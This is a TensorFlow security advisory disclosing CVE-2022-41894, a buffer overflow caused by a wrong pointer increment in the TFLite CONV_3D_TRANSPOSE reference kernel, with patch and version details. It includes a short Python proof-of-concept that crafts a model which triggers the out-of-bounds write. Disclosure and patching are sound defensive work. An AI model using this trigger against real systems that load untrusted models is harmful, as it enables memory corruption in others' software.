## TFSA-2022-156: Buffer overflow in `CONV_3D_TRANSPOSE` on TFLite

### CVE Number
CVE-2022-41894

### Impact
The reference kernel of the [`CONV_3D_TRANSPOSE`](https://github.com/tensorflow/tensorflow/blob/091e63f0ea33def7ecad661a5ac01dcafbafa90b/tensorflow/lite/kernels/internal/reference/conv3d_transpose.h#L121) TensorFlow Lite operator wrongly increments the data_ptr when adding the bias to the result.

Instead of `data_ptr += num_channels;` it should be `data_ptr += output_num_channels;` as if the number of input channels is different than the number of output channels, the wrong result will be returned and a buffer overflow will occur if num_channels > output_num_channels.

An attacker can craft a model with a specific number of input channels in a way similar to the attached example script. It is then possible to write specific values through the bias of the layer outside the bounds of the buffer. This attack only works if the reference kernel resolver is used in the interpreter (i.e. `experimental_op_resolver_type=tf.lite.experimental.OpResolverType.BUILTIN_REF` is used).
```python
import tensorflow as tf
model = tf.keras.Sequential(
    [
        tf.keras.layers.InputLayer(input_shape=(2, 2, 2, 1024), batch_size=1),
        tf.keras.layers.Conv3DTranspose(
            filters=8,
            kernel_size=(2, 2, 2),
            padding="same",
            data_format="channels_last",
        ),
    ]
)

converter = tf.lite.TFLiteConverter.from_keras_model(model)
tflite_model = converter.convert()

interpreter = tf.lite.Interpreter(
    model_content=tflite_model,
    experimental_op_resolver_type=tf.lite.experimental.OpResolverType.BUILTIN_REF,
)

interpreter.allocate_tensors()
interpreter.set_tensor(
    interpreter.get_input_details()[0]["index"], tf.zeros(shape=[1, 2, 2, 2, 1024])
)
interpreter.invoke()
```

### Patches
We have patched the issue in GitHub commit [72c0bdcb25305b0b36842d746cc61d72658d2941](https://github.com/tensorflow/tensorflow/commit/72c0bdcb25305b0b36842d746cc61d72658d2941).

The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range.


### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.


### Attribution
This vulnerability has been reported by Thibaut Goetghebuer-Planchon, Arm Ltd.
